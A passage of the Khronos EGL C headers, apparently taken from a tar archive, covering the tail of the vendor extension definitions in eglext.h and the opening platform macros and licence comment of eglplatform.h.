EGL_EXT_swap_buffers_with_damage #define EGL_EXT_swap_buffers_with_damage 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSWAPBUFFERSWITHDAMAGEEXTPROC) (EGLDisplay dpy, EGLSurface surface, const EGLint *rects, EGLint n_rects); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglSwapBuffersWithDamageEXT (EGLDisplay dpy, EGLSurface surface, const EGLint *rects, EGLint n_rects); #endif #endif /* EGL_EXT_swap_buffers_with_damage */ #ifndef EGL_EXT_sync_reuse #define EGL_EXT_sync_reuse 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLUNSIGNALSYNCEXTPROC) (EGLDisplay dpy, EGLSync sync, const EGLAttrib *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglUnsignalSyncEXT (EGLDisplay dpy, EGLSync sync, const EGLAttrib *attrib_list); #endif #endif /* EGL_EXT_sync_reuse */ #ifndef EGL_EXT_yuv_surface #define EGL_EXT_yuv_surface 1 #define EGL_YUV_ORDER_EXT 0x3301 #define EGL_YUV_NUMBER_OF_PLANES_EXT 0x3311 #define EGL_YUV_SUBSAMPLE_EXT 0x3312 #define EGL_YUV_DEPTH_RANGE_EXT 0x3317 #define EGL_YUV_CSC_STANDARD_EXT 0x330A #define EGL_YUV_PLANE_BPP_EXT 0x331A #define EGL_YUV_BUFFER_EXT 0x3300 #define EGL_YUV_ORDER_YUV_EXT 0x3302 #define EGL_YUV_ORDER_YVU_EXT 0x3303 #define EGL_YUV_ORDER_YUYV_EXT 0x3304 #define EGL_YUV_ORDER_UYVY_EXT 0x3305 #define EGL_YUV_ORDER_YVYU_EXT 0x3306 #define EGL_YUV_ORDER_VYUY_EXT 0x3307 #define EGL_YUV_ORDER_AYUV_EXT 0x3308 #define EGL_YUV_SUBSAMPLE_4_2_0_EXT 0x3313 #define EGL_YUV_SUBSAMPLE_4_2_2_EXT 0x3314 #define EGL_YUV_SUBSAMPLE_4_4_4_EXT 0x3315 #define EGL_YUV_DEPTH_RANGE_LIMITED_EXT 0x3318 #define EGL_YUV_DEPTH_RANGE_FULL_EXT 0x3319 #define EGL_YUV_CSC_STANDARD_601_EXT 0x330B #define EGL_YUV_CSC_STANDARD_709_EXT 0x330C #define EGL_YUV_CSC_STANDARD_2020_EXT 0x330D #define EGL_YUV_PLANE_BPP_0_EXT 0x331B #define EGL_YUV_PLANE_BPP_8_EXT 0x331C #define EGL_YUV_PLANE_BPP_10_EXT 0x331D #endif /* EGL_EXT_yuv_surface */ #ifndef EGL_HI_clientpixmap #define EGL_HI_clientpixmap 1 struct EGLClientPixmapHI { void *pData; EGLint iWidth; EGLint iHeight; EGLint iStride; }; #define EGL_CLIENT_PIXMAP_POINTER_HI 0x8F74 typedef EGLSurface (EGLAPIENTRYP PFNEGLCREATEPIXMAPSURFACEHIPROC) (EGLDisplay dpy, EGLConfig config, struct EGLClientPixmapHI *pixmap); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLSurface EGLAPIENTRY eglCreatePixmapSurfaceHI (EGLDisplay dpy, EGLConfig config, struct EGLClientPixmapHI *pixmap); #endif #endif /* EGL_HI_clientpixmap */ #ifndef EGL_HI_colorformats #define EGL_HI_colorformats 1 #define EGL_COLOR_FORMAT_HI 0x8F70 #define EGL_COLOR_RGB_HI 0x8F71 #define EGL_COLOR_RGBA_HI 0x8F72 #define EGL_COLOR_ARGB_HI 0x8F73 #endif /* EGL_HI_colorformats */ #ifndef EGL_IMG_context_priority #define EGL_IMG_context_priority 1 #define EGL_CONTEXT_PRIORITY_LEVEL_IMG 0x3100 #define EGL_CONTEXT_PRIORITY_HIGH_IMG 0x3101 #define EGL_CONTEXT_PRIORITY_MEDIUM_IMG 0x3102 #define EGL_CONTEXT_PRIORITY_LOW_IMG 0x3103 #endif /* EGL_IMG_context_priority */ #ifndef EGL_IMG_image_plane_attribs #define EGL_IMG_image_plane_attribs 1 #define EGL_NATIVE_BUFFER_MULTIPLANE_SEPARATE_IMG 0x3105 #define EGL_NATIVE_BUFFER_PLANE_OFFSET_IMG 0x3106 #endif /* EGL_IMG_image_plane_attribs */ #ifndef EGL_MESA_drm_image #define EGL_MESA_drm_image 1 #define EGL_DRM_BUFFER_FORMAT_MESA 0x31D0 #define EGL_DRM_BUFFER_USE_MESA 0x31D1 #define EGL_DRM_BUFFER_FORMAT_ARGB32_MESA 0x31D2 #define EGL_DRM_BUFFER_MESA 0x31D3 #define EGL_DRM_BUFFER_STRIDE_MESA 0x31D4 #define EGL_DRM_BUFFER_USE_SCANOUT_MESA 0x00000001 #define EGL_DRM_BUFFER_USE_SHARE_MESA 0x00000002 #define EGL_DRM_BUFFER_USE_CURSOR_MESA 0x00000004 typedef EGLImageKHR (EGLAPIENTRYP PFNEGLCREATEDRMIMAGEMESAPROC) (EGLDisplay dpy, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLEXPORTDRMIMAGEMESAPROC) (EGLDisplay dpy, EGLImageKHR image, EGLint *name, EGLint *handle, EGLint *stride); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLImageKHR EGLAPIENTRY eglCreateDRMImageMESA (EGLDisplay dpy, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglExportDRMImageMESA (EGLDisplay dpy, EGLImageKHR image, EGLint *name, EGLint *handle, EGLint *stride); #endif #endif /* EGL_MESA_drm_image */ #ifndef EGL_MESA_image_dma_buf_export #define EGL_MESA_image_dma_buf_export 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLEXPORTDMABUFIMAGEQUERYMESAPROC) (EGLDisplay dpy, EGLImageKHR image, int *fourcc, int *num_planes, EGLuint64KHR *modifiers); typedef EGLBoolean (EGLAPIENTRYP PFNEGLEXPORTDMABUFIMAGEMESAPROC) (EGLDisplay dpy, EGLImageKHR image, int *fds, EGLint *strides, EGLint *offsets); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglExportDMABUFImageQueryMESA (EGLDisplay dpy, EGLImageKHR image, int *fourcc, int *num_planes, EGLuint64KHR *modifiers); EGLAPI EGLBoolean EGLAPIENTRY eglExportDMABUFImageMESA (EGLDisplay dpy, EGLImageKHR image, int *fds, EGLint *strides, EGLint *offsets); #endif #endif /* EGL_MESA_image_dma_buf_export */ #ifndef EGL_MESA_platform_gbm #define EGL_MESA_platform_gbm 1 #define EGL_PLATFORM_GBM_MESA 0x31D7 #endif /* EGL_MESA_platform_gbm */ #ifndef EGL_MESA_platform_surfaceless #define EGL_MESA_platform_surfaceless 1 #define EGL_PLATFORM_SURFACELESS_MESA 0x31DD #endif /* EGL_MESA_platform_surfaceless */ #ifndef EGL_MESA_query_driver #define EGL_MESA_query_driver 1 typedef char *(EGLAPIENTRYP PFNEGLGETDISPLAYDRIVERCONFIGPROC) (EGLDisplay dpy); typedef const char *(EGLAPIENTRYP PFNEGLGETDISPLAYDRIVERNAMEPROC) (EGLDisplay dpy); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI char *EGLAPIENTRY eglGetDisplayDriverConfig (EGLDisplay dpy); EGLAPI const char *EGLAPIENTRY eglGetDisplayDriverName (EGLDisplay dpy); #endif #endif /* EGL_MESA_query_driver */ #ifndef EGL_NOK_swap_region #define EGL_NOK_swap_region 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSWAPBUFFERSREGIONNOKPROC) (EGLDisplay dpy, EGLSurface surface, EGLint numRects, const EGLint *rects); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglSwapBuffersRegionNOK (EGLDisplay dpy, EGLSurface surface, EGLint numRects, const EGLint *rects); #endif #endif /* EGL_NOK_swap_region */ #ifndef EGL_NOK_swap_region2 #define EGL_NOK_swap_region2 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSWAPBUFFERSREGION2NOKPROC) (EGLDisplay dpy, EGLSurface surface, EGLint numRects, const EGLint *rects); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglSwapBuffersRegion2NOK (EGLDisplay dpy, EGLSurface surface, EGLint numRects, const EGLint *rects); #endif #endif /* EGL_NOK_swap_region2 */ #ifndef EGL_NOK_texture_from_pixmap #define EGL_NOK_texture_from_pixmap 1 #define EGL_Y_INVERTED_NOK 0x307F #endif /* EGL_NOK_texture_from_pixmap */ #ifndef EGL_NV_3dvision_surface #define EGL_NV_3dvision_surface 1 #define EGL_AUTO_STEREO_NV 0x3136 #endif /* EGL_NV_3dvision_surface */ #ifndef EGL_NV_context_priority_realtime #define EGL_NV_context_priority_realtime 1 #define EGL_CONTEXT_PRIORITY_REALTIME_NV 0x3357 #endif /* EGL_NV_context_priority_realtime */ #ifndef EGL_NV_coverage_sample #define EGL_NV_coverage_sample 1 #define EGL_COVERAGE_BUFFERS_NV 0x30E0 #define EGL_COVERAGE_SAMPLES_NV 0x30E1 #endif /* EGL_NV_coverage_sample */ #ifndef EGL_NV_coverage_sample_resolve #define EGL_NV_coverage_sample_resolve 1 #define EGL_COVERAGE_SAMPLE_RESOLVE_NV 0x3131 #define EGL_COVERAGE_SAMPLE_RESOLVE_DEFAULT_NV 0x3132 #define EGL_COVERAGE_SAMPLE_RESOLVE_NONE_NV 0x3133 #endif /* EGL_NV_coverage_sample_resolve */ #ifndef EGL_NV_cuda_event #define EGL_NV_cuda_event 1 #define EGL_CUDA_EVENT_HANDLE_NV 0x323B #define EGL_SYNC_CUDA_EVENT_NV 0x323C #define EGL_SYNC_CUDA_EVENT_COMPLETE_NV 0x323D #endif /* EGL_NV_cuda_event */ #ifndef EGL_NV_depth_nonlinear #define EGL_NV_depth_nonlinear 1 #define EGL_DEPTH_ENCODING_NV 0x30E2 #define EGL_DEPTH_ENCODING_NONE_NV 0 #define EGL_DEPTH_ENCODING_NONLINEAR_NV 0x30E3 #endif /* EGL_NV_depth_nonlinear */ #ifndef EGL_NV_device_cuda #define EGL_NV_device_cuda 1 #define EGL_CUDA_DEVICE_NV 0x323A #endif /* EGL_NV_device_cuda */ #ifndef EGL_NV_native_query #define EGL_NV_native_query 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYNATIVEDISPLAYNVPROC) (EGLDisplay dpy, EGLNativeDisplayType *display_id); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYNATIVEWINDOWNVPROC) (EGLDisplay dpy, EGLSurface surf, EGLNativeWindowType *window); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYNATIVEPIXMAPNVPROC) (EGLDisplay dpy, EGLSurface surf, EGLNativePixmapType *pixmap); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryNativeDisplayNV (EGLDisplay dpy, EGLNativeDisplayType *display_id); EGLAPI EGLBoolean EGLAPIENTRY eglQueryNativeWindowNV (EGLDisplay dpy, EGLSurface surf, EGLNativeWindowType *window); EGLAPI EGLBoolean EGLAPIENTRY eglQueryNativePixmapNV (EGLDisplay dpy, EGLSurface surf, EGLNativePixmapType *pixmap); #endif #endif /* EGL_NV_native_query */ #ifndef EGL_NV_post_convert_rounding #define EGL_NV_post_convert_rounding 1 #endif /* EGL_NV_post_convert_rounding */ #ifndef EGL_NV_post_sub_buffer #define EGL_NV_post_sub_buffer 1 #define EGL_POST_SUB_BUFFER_SUPPORTED_NV 0x30BE typedef EGLBoolean (EGLAPIENTRYP PFNEGLPOSTSUBBUFFERNVPROC) (EGLDisplay dpy, EGLSurface surface, EGLint x, EGLint y, EGLint width, EGLint height); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglPostSubBufferNV (EGLDisplay dpy, EGLSurface surface, EGLint x, EGLint y, EGLint width, EGLint height); #endif #endif /* EGL_NV_post_sub_buffer */ #ifndef EGL_NV_quadruple_buffer #define EGL_NV_quadruple_buffer 1 #define EGL_QUADRUPLE_BUFFER_NV 0x3231 #endif /* EGL_NV_quadruple_buffer */ #ifndef EGL_NV_robustness_video_memory_purge #define EGL_NV_robustness_video_memory_purge 1 #define EGL_GENERATE_RESET_ON_VIDEO_MEMORY_PURGE_NV 0x334C #endif /* EGL_NV_robustness_video_memory_purge */ #ifndef EGL_NV_stream_consumer_eglimage #define EGL_NV_stream_consumer_eglimage 1 #define EGL_STREAM_CONSUMER_IMAGE_NV 0x3373 #define EGL_STREAM_IMAGE_ADD_NV 0x3374 #define EGL_STREAM_IMAGE_REMOVE_NV 0x3375 #define EGL_STREAM_IMAGE_AVAILABLE_NV 0x3376 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMIMAGECONSUMERCONNECTNVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLint num_modifiers, EGLuint64KHR *modifiers, EGLAttrib *attrib_list); typedef EGLint (EGLAPIENTRYP PFNEGLQUERYSTREAMCONSUMEREVENTNVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLTime timeout, EGLenum *event, EGLAttrib *aux); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMACQUIREIMAGENVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLImage *pImage, EGLSync sync); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMRELEASEIMAGENVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLImage image, EGLSync sync); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglStreamImageConsumerConnectNV (EGLDisplay dpy, EGLStreamKHR stream, EGLint num_modifiers, EGLuint64KHR *modifiers, EGLAttrib *attrib_list); EGLAPI EGLint EGLAPIENTRY eglQueryStreamConsumerEventNV (EGLDisplay dpy, EGLStreamKHR stream, EGLTime timeout, EGLenum *event, EGLAttrib *aux); EGLAPI EGLBoolean EGLAPIENTRY eglStreamAcquireImageNV (EGLDisplay dpy, EGLStreamKHR stream, EGLImage *pImage, EGLSync sync); EGLAPI EGLBoolean EGLAPIENTRY eglStreamReleaseImageNV (EGLDisplay dpy, EGLStreamKHR stream, EGLImage image, EGLSync sync); #endif #endif /* EGL_NV_stream_consumer_eglimage */ #ifndef EGL_NV_stream_consumer_gltexture_yuv #define EGL_NV_stream_consumer_gltexture_yuv 1 #define EGL_YUV_PLANE0_TEXTURE_UNIT_NV 0x332C #define EGL_YUV_PLANE1_TEXTURE_UNIT_NV 0x332D #define EGL_YUV_PLANE2_TEXTURE_UNIT_NV 0x332E typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMCONSUMERGLTEXTUREEXTERNALATTRIBSNVPROC) (EGLDisplay dpy, EGLStreamKHR stream, const EGLAttrib *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglStreamConsumerGLTextureExternalAttribsNV (EGLDisplay dpy, EGLStreamKHR stream, const EGLAttrib *attrib_list); #endif #endif /* EGL_NV_stream_consumer_gltexture_yuv */ #ifndef EGL_NV_stream_cross_display #define EGL_NV_stream_cross_display 1 #define EGL_STREAM_CROSS_DISPLAY_NV 0x334E #endif /* EGL_NV_stream_cross_display */ #ifndef EGL_NV_stream_cross_object #define EGL_NV_stream_cross_object 1 #define EGL_STREAM_CROSS_OBJECT_NV 0x334D #endif /* EGL_NV_stream_cross_object */ #ifndef EGL_NV_stream_cross_partition #define EGL_NV_stream_cross_partition 1 #define EGL_STREAM_CROSS_PARTITION_NV 0x323F #endif /* EGL_NV_stream_cross_partition */ #ifndef EGL_NV_stream_cross_process #define EGL_NV_stream_cross_process 1 #define EGL_STREAM_CROSS_PROCESS_NV 0x3245 #endif /* EGL_NV_stream_cross_process */ #ifndef EGL_NV_stream_cross_system #define EGL_NV_stream_cross_system 1 #define EGL_STREAM_CROSS_SYSTEM_NV 0x334F #endif /* EGL_NV_stream_cross_system */ #ifndef EGL_NV_stream_dma #define EGL_NV_stream_dma 1 #define EGL_STREAM_DMA_NV 0x3371 #define EGL_STREAM_DMA_SERVER_NV 0x3372 #endif /* EGL_NV_stream_dma */ #ifndef EGL_NV_stream_fifo_next #define EGL_NV_stream_fifo_next 1 #define EGL_PENDING_FRAME_NV 0x3329 #define EGL_STREAM_TIME_PENDING_NV 0x332A #endif /* EGL_NV_stream_fifo_next */ #ifndef EGL_NV_stream_fifo_synchronous #define EGL_NV_stream_fifo_synchronous 1 #define EGL_STREAM_FIFO_SYNCHRONOUS_NV 0x3336 #endif /* EGL_NV_stream_fifo_synchronous */ #ifndef EGL_NV_stream_flush #define EGL_NV_stream_flush 1 typedef EGLBoolean (EGLAPIENTRYP PFNEGLSTREAMFLUSHNVPROC) (EGLDisplay dpy, EGLStreamKHR stream); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglStreamFlushNV (EGLDisplay dpy, EGLStreamKHR stream); #endif #endif /* EGL_NV_stream_flush */ #ifndef EGL_NV_stream_frame_limits #define EGL_NV_stream_frame_limits 1 #define EGL_PRODUCER_MAX_FRAME_HINT_NV 0x3337 #define EGL_CONSUMER_MAX_FRAME_HINT_NV 0x3338 #endif /* EGL_NV_stream_frame_limits */ #ifndef EGL_NV_stream_metadata #define EGL_NV_stream_metadata 1 #define EGL_MAX_STREAM_METADATA_BLOCKS_NV 0x3250 #define EGL_MAX_STREAM_METADATA_BLOCK_SIZE_NV 0x3251 #define EGL_MAX_STREAM_METADATA_TOTAL_SIZE_NV 0x3252 #define EGL_PRODUCER_METADATA_NV 0x3253 #define EGL_CONSUMER_METADATA_NV 0x3254 #define EGL_PENDING_METADATA_NV 0x3328 #define EGL_METADATA0_SIZE_NV 0x3255 #define EGL_METADATA1_SIZE_NV 0x3256 #define EGL_METADATA2_SIZE_NV 0x3257 #define EGL_METADATA3_SIZE_NV 0x3258 #define EGL_METADATA0_TYPE_NV 0x3259 #define EGL_METADATA1_TYPE_NV 0x325A #define EGL_METADATA2_TYPE_NV 0x325B #define EGL_METADATA3_TYPE_NV 0x325C typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYDISPLAYATTRIBNVPROC) (EGLDisplay dpy, EGLint attribute, EGLAttrib *value); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSETSTREAMMETADATANVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLint n, EGLint offset, EGLint size, const void *data); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYSTREAMMETADATANVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum name, EGLint n, EGLint offset, EGLint size, void *data); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglQueryDisplayAttribNV (EGLDisplay dpy, EGLint attribute, EGLAttrib *value); EGLAPI EGLBoolean EGLAPIENTRY eglSetStreamMetadataNV (EGLDisplay dpy, EGLStreamKHR stream, EGLint n, EGLint offset, EGLint size, const void *data); EGLAPI EGLBoolean EGLAPIENTRY eglQueryStreamMetadataNV (EGLDisplay dpy, EGLStreamKHR stream, EGLenum name, EGLint n, EGLint offset, EGLint size, void *data); #endif #endif /* EGL_NV_stream_metadata */ #ifndef EGL_NV_stream_origin #define EGL_NV_stream_origin 1 #define EGL_STREAM_FRAME_ORIGIN_X_NV 0x3366 #define EGL_STREAM_FRAME_ORIGIN_Y_NV 0x3367 #define EGL_STREAM_FRAME_MAJOR_AXIS_NV 0x3368 #define EGL_CONSUMER_AUTO_ORIENTATION_NV 0x3369 #define EGL_PRODUCER_AUTO_ORIENTATION_NV 0x336A #define EGL_LEFT_NV 0x336B #define EGL_RIGHT_NV 0x336C #define EGL_TOP_NV 0x336D #define EGL_BOTTOM_NV 0x336E #define EGL_X_AXIS_NV 0x336F #define EGL_Y_AXIS_NV 0x3370 #endif /* EGL_NV_stream_origin */ #ifndef EGL_NV_stream_remote #define EGL_NV_stream_remote 1 #define EGL_STREAM_STATE_INITIALIZING_NV 0x3240 #define EGL_STREAM_TYPE_NV 0x3241 #define EGL_STREAM_PROTOCOL_NV 0x3242 #define EGL_STREAM_ENDPOINT_NV 0x3243 #define EGL_STREAM_LOCAL_NV 0x3244 #define EGL_STREAM_PRODUCER_NV 0x3247 #define EGL_STREAM_CONSUMER_NV 0x3248 #define EGL_STREAM_PROTOCOL_FD_NV 0x3246 #endif /* EGL_NV_stream_remote */ #ifndef EGL_NV_stream_reset #define EGL_NV_stream_reset 1 #define EGL_SUPPORT_RESET_NV 0x3334 #define EGL_SUPPORT_REUSE_NV 0x3335 typedef EGLBoolean (EGLAPIENTRYP PFNEGLRESETSTREAMNVPROC) (EGLDisplay dpy, EGLStreamKHR stream); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglResetStreamNV (EGLDisplay dpy, EGLStreamKHR stream); #endif #endif /* EGL_NV_stream_reset */ #ifndef EGL_NV_stream_socket #define EGL_NV_stream_socket 1 #define EGL_STREAM_PROTOCOL_SOCKET_NV 0x324B #define EGL_SOCKET_HANDLE_NV 0x324C #define EGL_SOCKET_TYPE_NV 0x324D #endif /* EGL_NV_stream_socket */ #ifndef EGL_NV_stream_socket_inet #define EGL_NV_stream_socket_inet 1 #define EGL_SOCKET_TYPE_INET_NV 0x324F #endif /* EGL_NV_stream_socket_inet */ #ifndef EGL_NV_stream_socket_unix #define EGL_NV_stream_socket_unix 1 #define EGL_SOCKET_TYPE_UNIX_NV 0x324E #endif /* EGL_NV_stream_socket_unix */ #ifndef EGL_NV_stream_sync #define EGL_NV_stream_sync 1 #define EGL_SYNC_NEW_FRAME_NV 0x321F typedef EGLSyncKHR (EGLAPIENTRYP PFNEGLCREATESTREAMSYNCNVPROC) (EGLDisplay dpy, EGLStreamKHR stream, EGLenum type, const EGLint *attrib_list); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLSyncKHR EGLAPIENTRY eglCreateStreamSyncNV (EGLDisplay dpy, EGLStreamKHR stream, EGLenum type, const EGLint *attrib_list); #endif #endif /* EGL_NV_stream_sync */ #ifndef EGL_NV_sync #define EGL_NV_sync 1 typedef void *EGLSyncNV; typedef khronos_utime_nanoseconds_t EGLTimeNV; #ifdef KHRONOS_SUPPORT_INT64 #define EGL_SYNC_PRIOR_COMMANDS_COMPLETE_NV 0x30E6 #define EGL_SYNC_STATUS_NV 0x30E7 #define EGL_SIGNALED_NV 0x30E8 #define EGL_UNSIGNALED_NV 0x30E9 #define EGL_SYNC_FLUSH_COMMANDS_BIT_NV 0x0001 #define EGL_FOREVER_NV 0xFFFFFFFFFFFFFFFFull #define EGL_ALREADY_SIGNALED_NV 0x30EA #define EGL_TIMEOUT_EXPIRED_NV 0x30EB #define EGL_CONDITION_SATISFIED_NV 0x30EC #define EGL_SYNC_TYPE_NV 0x30ED #define EGL_SYNC_CONDITION_NV 0x30EE #define EGL_SYNC_FENCE_NV 0x30EF #define EGL_NO_SYNC_NV EGL_CAST(EGLSyncNV,0) typedef EGLSyncNV (EGLAPIENTRYP PFNEGLCREATEFENCESYNCNVPROC) (EGLDisplay dpy, EGLenum condition, const EGLint *attrib_list); typedef EGLBoolean (EGLAPIENTRYP PFNEGLDESTROYSYNCNVPROC) (EGLSyncNV sync); typedef EGLBoolean (EGLAPIENTRYP PFNEGLFENCENVPROC) (EGLSyncNV sync); typedef EGLint (EGLAPIENTRYP PFNEGLCLIENTWAITSYNCNVPROC) (EGLSyncNV sync, EGLint flags, EGLTimeNV timeout); typedef EGLBoolean (EGLAPIENTRYP PFNEGLSIGNALSYNCNVPROC) (EGLSyncNV sync, EGLenum mode); typedef EGLBoolean (EGLAPIENTRYP PFNEGLGETSYNCATTRIBNVPROC) (EGLSyncNV sync, EGLint attribute, EGLint *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLSyncNV EGLAPIENTRY eglCreateFenceSyncNV (EGLDisplay dpy, EGLenum condition, const EGLint *attrib_list); EGLAPI EGLBoolean EGLAPIENTRY eglDestroySyncNV (EGLSyncNV sync); EGLAPI EGLBoolean EGLAPIENTRY eglFenceNV (EGLSyncNV sync); EGLAPI EGLint EGLAPIENTRY eglClientWaitSyncNV (EGLSyncNV sync, EGLint flags, EGLTimeNV timeout); EGLAPI EGLBoolean EGLAPIENTRY eglSignalSyncNV (EGLSyncNV sync, EGLenum mode); EGLAPI EGLBoolean EGLAPIENTRY eglGetSyncAttribNV (EGLSyncNV sync, EGLint attribute, EGLint *value); #endif #endif /* KHRONOS_SUPPORT_INT64 */ #endif /* EGL_NV_sync */ #ifndef EGL_NV_system_time #define EGL_NV_system_time 1 typedef khronos_utime_nanoseconds_t EGLuint64NV; #ifdef KHRONOS_SUPPORT_INT64 typedef EGLuint64NV (EGLAPIENTRYP PFNEGLGETSYSTEMTIMEFREQUENCYNVPROC) (void); typedef EGLuint64NV (EGLAPIENTRYP PFNEGLGETSYSTEMTIMENVPROC) (void); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLuint64NV EGLAPIENTRY eglGetSystemTimeFrequencyNV (void); EGLAPI EGLuint64NV EGLAPIENTRY eglGetSystemTimeNV (void); #endif #endif /* KHRONOS_SUPPORT_INT64 */ #endif /* EGL_NV_system_time */ #ifndef EGL_NV_triple_buffer #define EGL_NV_triple_buffer 1 #define EGL_TRIPLE_BUFFER_NV 0x3230 #endif /* EGL_NV_triple_buffer */ #ifndef EGL_TIZEN_image_native_buffer #define EGL_TIZEN_image_native_buffer 1 #define EGL_NATIVE_BUFFER_TIZEN 0x32A0 #endif /* EGL_TIZEN_image_native_buffer */ #ifndef EGL_TIZEN_image_native_surface #define EGL_TIZEN_image_native_surface 1 #define EGL_NATIVE_SURFACE_TIZEN 0x32A1 #endif /* EGL_TIZEN_image_native_surface */ #ifndef EGL_WL_bind_wayland_display #define EGL_WL_bind_wayland_display 1 #define PFNEGLBINDWAYLANDDISPLAYWL PFNEGLBINDWAYLANDDISPLAYWLPROC #define PFNEGLUNBINDWAYLANDDISPLAYWL PFNEGLUNBINDWAYLANDDISPLAYWLPROC #define PFNEGLQUERYWAYLANDBUFFERWL PFNEGLQUERYWAYLANDBUFFERWLPROC struct wl_display; struct wl_resource; #define EGL_WAYLAND_BUFFER_WL 0x31D5 #define EGL_WAYLAND_PLANE_WL 0x31D6 #define EGL_TEXTURE_Y_U_V_WL 0x31D7 #define EGL_TEXTURE_Y_UV_WL 0x31D8 #define EGL_TEXTURE_Y_XUXV_WL 0x31D9 #define EGL_TEXTURE_EXTERNAL_WL 0x31DA #define EGL_WAYLAND_Y_INVERTED_WL 0x31DB typedef EGLBoolean (EGLAPIENTRYP PFNEGLBINDWAYLANDDISPLAYWLPROC) (EGLDisplay dpy, struct wl_display *display); typedef EGLBoolean (EGLAPIENTRYP PFNEGLUNBINDWAYLANDDISPLAYWLPROC) (EGLDisplay dpy, struct wl_display *display); typedef EGLBoolean (EGLAPIENTRYP PFNEGLQUERYWAYLANDBUFFERWLPROC) (EGLDisplay dpy, struct wl_resource *buffer, EGLint attribute, EGLint *value); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI EGLBoolean EGLAPIENTRY eglBindWaylandDisplayWL (EGLDisplay dpy, struct wl_display *display); EGLAPI EGLBoolean EGLAPIENTRY eglUnbindWaylandDisplayWL (EGLDisplay dpy, struct wl_display *display); EGLAPI EGLBoolean EGLAPIENTRY eglQueryWaylandBufferWL (EGLDisplay dpy, struct wl_resource *buffer, EGLint attribute, EGLint *value); #endif #endif /* EGL_WL_bind_wayland_display */ #ifndef EGL_WL_create_wayland_buffer_from_image #define EGL_WL_create_wayland_buffer_from_image 1 #define PFNEGLCREATEWAYLANDBUFFERFROMIMAGEWL PFNEGLCREATEWAYLANDBUFFERFROMIMAGEWLPROC struct wl_buffer; typedef struct wl_buffer *(EGLAPIENTRYP PFNEGLCREATEWAYLANDBUFFERFROMIMAGEWLPROC) (EGLDisplay dpy, EGLImageKHR image); #ifdef EGL_EGLEXT_PROTOTYPES EGLAPI struct wl_buffer *EGLAPIENTRY eglCreateWaylandBufferFromImageWL (EGLDisplay dpy, EGLImageKHR image); #endif #endif /* EGL_WL_create_wayland_buffer_from_image */ #ifdef __cplusplus } #endif #endif EGL/eglplatform.h 0000644 00000011623 15246445047 0007656 0 ustar 00 #ifndef __eglplatform_h_ #define __eglplatform_h_ /* ** Copyright 2007-2020 The Khronos Group Inc. ** SPDX-License-Identifier: Apache-2.0 */ /* Platform-specific types and definitions for egl.h * * Adopters may modify khrplatform.h and this file to suit their platform. * You are encouraged to submit all modifications to the Khronos group so that * they can be included in future versions of this file. Please submit changes * by filing an issue or pull request on the public Khronos EGL Registry, at * https://www.github.com/KhronosGroup/EGL-Registry/ */ #include <KHR/khrplatform.h> /* Macros used in EGL function prototype declarations. * * EGL functions should be prototyped as: * * EGLAPI return-type EGLAPIENTRY eglFunction(arguments); * typedef return-type (EXPAPIENTRYP PFNEGLFUNCTIONPROC) (arguments); * * KHRONOS_APICALL and KHRONOS_APIENTRY are defined in KHR/khrplatform.h */ #ifndef EGLAPI #define EGLAPI KHRONOS_APICALL #endif #ifndef EGLAPIENTRY #define EGLAPIENTRY KHRONOS_APIENTRY #endif #define EGLAPIENTRYP EGLAPIENTRY* /* The types NativeDisplayType, NativeWindowType, and NativePixmapType * are aliases of window-system-dependent types, such as X Display * or * Windows Device Context. They must be defined in platform-specific * code below. The EGL-prefixed versions of Native*Type are the same * types, renamed in EGL 1.3 so all types in the API start with "EGL". * * Khronos STRONGLY RECOMMENDS that you use the default definitions * provided below, since these changes affect both binary and source * portability of applications using EGL running on different EGL * implementations. */ #if defined(EGL_NO_PLATFORM_SPECIFIC_TYPES) typedef void *EGLNativeDisplayType; typedef void 